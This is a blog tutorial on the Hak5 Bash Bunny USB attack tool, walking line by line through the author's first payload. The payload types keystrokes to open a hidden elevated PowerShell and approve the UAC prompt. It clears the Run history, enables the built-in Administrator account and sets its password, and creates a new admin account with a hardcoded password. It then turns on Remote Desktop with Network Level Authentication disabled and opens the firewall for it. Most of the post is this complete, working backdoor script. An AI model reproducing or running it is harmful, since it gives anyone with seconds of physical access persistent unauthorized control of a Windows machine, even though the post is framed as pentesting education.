This page looks best with JavaScript enabled

Bash Bunny Primer

 ·  ☕ 7 min read

The Bash Bunny is a USB attack platform developed by Hak5 a security research group specialising in the development of network/system penetration testing tools and educational content.

If you’d like to find out more information, you can find them here: Twitter | YouTube | Hak5.org

Photo of a Bash Bunny

The Bash Bunny is an excellent pentesting tool. It looks like a chunky USB memory stick, however it’s really a SoC running a quad-core ARM processor running a Debian based Linux OS with a desktop class SSD for storage. It can be configured to be a HID, storage device, serial device, USB based network adaptor or all the above and be used to execute attacks for the red team, auditing for the blue team, automate IT tasks for air gapped devices and much more. The core of the Bash Bunny runs off Duckyscript, which is a very simple but useful scripting language. Here I’ll walk through my first payload, which is just an idea that I wanted to try out initially but I think it’s also a good demonstration of the the devices capabilities. You can check out my Bash Bunny payloads on GitHub.

Let’s take a look.

1
#!/bin/bash

So right off the bat, what we have here is the beginning of a bash script. This is the first thing to keep in mind when developing with the Bash Bunny on Windows. It’s a Linux based device, running the payload.txt, so this presents some idiosyncrasies if you are used to primarily using Windows.

1
2
# Options
LOOTDIR=/root/udisk/loot/badmin

Here I set the location of the output directory. To the Linux OS the USB drive portion of the disk is mounted to ‘/root/udisk/’ so I map the loot/badmin directory here.

1
2
3
4
######## INITIALIZATION ########
LED SETUP
GET SWITCH_POSITION
ATTACKMODE HID STORAGE

In the init stage the LED is set to ‘setup’ which is a flashing yellow pattern. The switch position is received from the device – although I don’t use it in this payload. Finally, the attack mode is set to ‘HID’ and ‘STORAGE’. This means that to Windows it appears as a standard USB drive and can function as a keyboard. The keyboard bit is important as Windows inherently trusts keyboards and other human interface devices. It also means we can send keystrokes to the OS quicker than a human.

1
2
######## MAKE LOOT DIRECTORY ########
mkdir -p $LOOTDIR

Very simple this bit. The Linux command for creating the loot directory which was set as a variable earlier in the script.

1
2
3
4
######## ATTACK ########
LED ATTACK
RUN WIN "powershell -windowstyle hidden start-process powershell -verb RunAs"
sleep 3

Here’s the important bit: the attack. So here the Windows run dialogue box is executed with ‘RUN WIN’ and then in double quotes is the command we want to run. What the command does is use PowerShell to launch another PowerShell process as Administrator. It then waits 3 seconds.

1
2
Q ALT Y
sleep 2

If the user has admin rights to the device, the UAC prompt will appear, the keys ALT and Y are sent to accept the UAC dialogue box. We now have an elevated PowerShell prompt. Q is an alias for QUACK which is the command for sending keyboard inputs.

1
2
Q STRING "\$src = (gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\switch1\p.ps1'"
Q ENTER

Using QUACK STRING we can type a string into PowerShell. However, because this is bash sending keys to PowerShell, we need to use some escape characters, so bash doesn’t misinterpret what we’re sending. What we’re sending here is a variable to a path so we can run a script. Because PowerShell and bash both share ‘$’ the dollar sign as a variable punctuation character, we need to use ‘\’ the backslash to escape it. The rest of the line is standard PowerShell for using Get-WMI to get a device with the name of Bash Bunny and then the path to the script we want to run. We do this so we don’t need to worry about which drive let the USB drive gets. Finally, we use QUACK to send the Enter key to execute to command.

1
2
3
sleep 1
QUACK STRING "powershell -ep bypass \$src"
Q ENTER

We wait 1 second, just in case – this could be shorted to milliseconds or possibly removed although to speed up the script. We then send the keystrokes to run the script in the $src variable we specified just now.

1
2
Q STRING "exit"
Q ENTER

We then send a QUACK string of exit and an ENTER to close the PowerShell window.

1
2
######## FINISH ########
LED FINISH

Finally, this command makes the LED flash green to signify that the script is complete.

So, we just got Windows to open an admin level PowerShell and run a script. Let’s go through the script we ran.

1
2
3
4
# Vars for log
$destFile = ("$env:COMPUTERNAME-{0:yyyy-MM-dd-HH-mm-ss}.log" -f (Get-Date))
$destPath = ((Get-WmiObject win32_volume -f 'label=''BashBunny''').Name+'loot\badmin')
$dest = "$destPath\$destFile"

So first we set our variables for the log file.

1
2
3
4
# Vars for user stuff
$NUser = "badmin"
$Password = convertto-securestring "th!s15@planetbanna" -asplaintext -force
$Group = "Administrators"

We then set some variables with information for the new users we’re going to create.

1
2
# Clear Run history
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name * -ErrorAction SilentlyContinue

Before we go any further, we run a command that clears the run window memory. Cleaning up after ourselves.

1
2
3
# Enable admin account and set pw
Enable-LocalUser -Name Administrator -ErrorAction SilentlyContinue
Set-LocalUser -Name Administrator -PasswordNeverExpires $true -Password $Password -ErrorAction SilentlyContinue

The local admin account in Windows 10 is disabled by default, this command enables it. If the account is already enabled, it continues silently. Whether the account was enabled or not, we then set the password to whatever we want.

1
2
3
# Create new user and make admin
New-LocalUser $NUser -Password $Password -PasswordNeverExpires -ErrorAction SilentlyContinue
Add-LocalGroupMember $Group $NUser -ErrorAction SilentlyContinue

Just in case we create our own admin user with a password of our choosing.

1
2
3
4
# Enable RDP
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -Value 0 -ErrorAction SilentlyContinue
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\' -Name "UserAuthentication" -Value 0 -ErrorAction SilentlyContinue
Enable-NetFirewallRule -DisplayGroup "Remote Desktop" -ErrorAction SilentlyContinue

Next, we enable Remote Desktop if it isn’t already. We then disable Network Level Authentication and enable the Remote Desktop group in the Windows Firewall.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Log things now
$rdpenabled = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" | Select-Object -expandProperty fDenyTSConnections
If ($rdpenabled -eq 0)
{
    Add-Content -Path $dest -Value "$(Get-Date -Format G) RDP enabled: success"
}
Else
{
    Add-Content -Path $dest -Value "$(Get-Date -Format G) RDP enabled: fail"
}
$rdpinsecure = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\' -Name "UserAuthentication" | Select-Object -expandProperty UserAuthentication
If ($rdpinsecure -eq 0)
{
    Add-Content -Path $dest -Value "$(Get-Date -Format G) NLA disabled: success"
}
Else
{
    Add-Content -Path $dest -Value "$(Get-Date -Format G) NLA disabled: fail"
}
 
Add-Content -Path $dest -Value "$(Get-Date -Format G) RDP group firewall rules status:"
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Select-Object DisplayName, Enabled | Out-File -Append -FilePath $dest -Encoding ASCII
Add-Content -Path $dest -Value "$(Get-Date -Format G) Local users:"
Get-LocalUser | Out-File -Append -FilePath $dest -Encoding ASCII
Add-Content -Path $dest -Value "$(Get-Date -Format G) IP Config /all"
& ipconfig /all | Out-File -Append -FilePath $dest -Encoding ASCII
Add-Content -Path $dest -Value ""
Add-Content -Path $dest -Value "Have a nice day ;)"

All the last section is recording whether our operations were successful or not. I also output the contents of the IPConfig /all command just so we have full networking information about the device as well. The log file saved to the USB storage device as a txt file and is named after the computers name and the time and date stamp including seconds. That’s my first payload. You only need a few seconds of access to device to execute it. There are several things that could be done better and ways to speed it up but I think it’s a good demonstration of the Bash Bunny. The device can do a lot more - cracking passwords from locked Windows devices, exfiltrating files to the cloud. It’s an interesting device that I look forward to playing with more. From an IT professional perspective I think it’s very interesting to see that these devices are out there, available to buy for a reasonable amount. I’ll certainly think twice before inserting a USB drive into my PC. :)

If you have any questions or comments please leave them below.

-Mike

Share on
Support the author with